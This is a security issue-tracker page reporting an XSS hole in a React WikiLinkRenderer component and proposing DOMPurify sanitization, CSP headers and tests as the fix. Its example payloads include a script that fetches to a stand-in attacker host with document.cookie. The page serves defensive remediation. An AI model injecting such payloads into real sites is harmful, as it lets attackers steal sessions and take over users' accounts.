[CRITICAL] Fix XSS vulnerability in WikiLinkRenderer #191

Closed
opened 2026-02-02 17:25:15 +00:00 by jason.woltje · 0 comments
Owner

Problem

WikiLinkRenderer uses dangerouslySetInnerHTML on arbitrary HTML with only wiki-link text escaped. If knowledge entry HTML is user-generated and not sanitized server-side, this is a direct XSS vulnerability.

Location

apps/web/components/WikiLinkRenderer.tsx

  • Line 33: dangerouslySetInnerHTML with user HTML
  • Line 36: Only wiki-link text escaped, rest untrusted
<div
  dangerouslySetInnerHTML={{ __html: html }}  // ❌ Arbitrary HTML injection
  onClick={handleWikiLinkClick}
/>

Attack Vector

If knowledge entries contain user HTML:

<p>Normal text</p>
<img src=x onerror="alert(document.cookie)">
<script>fetch('https://attacker.com?c='+document.cookie)</script>

Impact

  • CRITICAL: Full XSS if HTML is user-controlled
  • Session hijacking
  • Account takeover
  • Data exfiltration
  • Blocks production deployment

Questions (URGENT - Need Answers)

  1. Is knowledge entry HTML sanitized server-side?
  2. Can users create/edit knowledge entries?
  3. Is HTML validated before storage?

Acceptance Criteria

  • Confirm server-side HTML sanitization exists
  • Add client-side DOMPurify sanitization as defense-in-depth
  • Use allowlist of safe HTML tags
  • Remove dangerouslySetInnerHTML if possible
  • Add CSP headers
  • Add tests for XSS payloads
  • Audit all knowledge entry creation paths

Implementation

Option 1: Server-side only (preferred)

// Server sanitizes before storage
// Client trusts sanitized HTML
<div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />

Option 2: Defense-in-depth

import DOMPurify from 'dompurify';

const sanitized = DOMPurify.sanitize(html, {
  ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href', 'class'],
  FORBID_TAGS: ['script', 'iframe', 'object'],
  FORBID_ATTR: ['onerror', 'onload', 'onclick']
});

<div dangerouslySetInnerHTML={{ __html: sanitized }} />

Testing

  • Test script tag injection blocked
  • Test onerror attribute blocked
  • Test legitimate markup preserved
  • Verify wiki links still work

References

External security review findings (2026-02-02)

## Problem WikiLinkRenderer uses dangerouslySetInnerHTML on arbitrary HTML with only wiki-link text escaped. If knowledge entry HTML is user-generated and not sanitized server-side, this is a direct XSS vulnerability. ## Location apps/web/components/WikiLinkRenderer.tsx - Line 33: dangerouslySetInnerHTML with user HTML - Line 36: Only wiki-link text escaped, rest untrusted ```typescript <div dangerouslySetInnerHTML={{ __html: html }} // ❌ Arbitrary HTML injection onClick={handleWikiLinkClick} /> ``` ## Attack Vector If knowledge entries contain user HTML: ```html <p>Normal text</p> <img src=x onerror="alert(document.cookie)"> <script>fetch('https://attacker.com?c='+document.cookie)</script> ``` ## Impact - **CRITICAL**: Full XSS if HTML is user-controlled - Session hijacking - Account takeover - Data exfiltration - Blocks production deployment ## Questions (URGENT - Need Answers) 1. Is knowledge entry HTML sanitized server-side? 2. Can users create/edit knowledge entries? 3. Is HTML validated before storage? ## Acceptance Criteria - [ ] Confirm server-side HTML sanitization exists - [ ] Add client-side DOMPurify sanitization as defense-in-depth - [ ] Use allowlist of safe HTML tags - [ ] Remove dangerouslySetInnerHTML if possible - [ ] Add CSP headers - [ ] Add tests for XSS payloads - [ ] Audit all knowledge entry creation paths ## Implementation ### Option 1: Server-side only (preferred) ```typescript // Server sanitizes before storage // Client trusts sanitized HTML <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} /> ``` ### Option 2: Defense-in-depth ```typescript import DOMPurify from 'dompurify'; const sanitized = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li'], ALLOWED_ATTR: ['href', 'class'], FORBID_TAGS: ['script', 'iframe', 'object'], FORBID_ATTR: ['onerror', 'onload', 'onclick'] }); <div dangerouslySetInnerHTML={{ __html: sanitized }} /> ``` ## Testing - [ ] Test script tag injection blocked - [ ] Test onerror attribute blocked - [ ] Test legitimate markup preserved - [ ] Verify wiki links still work ## References External security review findings (2026-02-02)
jason.woltje added this to the M4.2-Infrastructure (0.0.4) milestone 2026-02-02 17:25:15 +00:00
jason.woltje added the securitywebp0 labels 2026-02-02 17:25:15 +00:00
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: mosaic/stack#191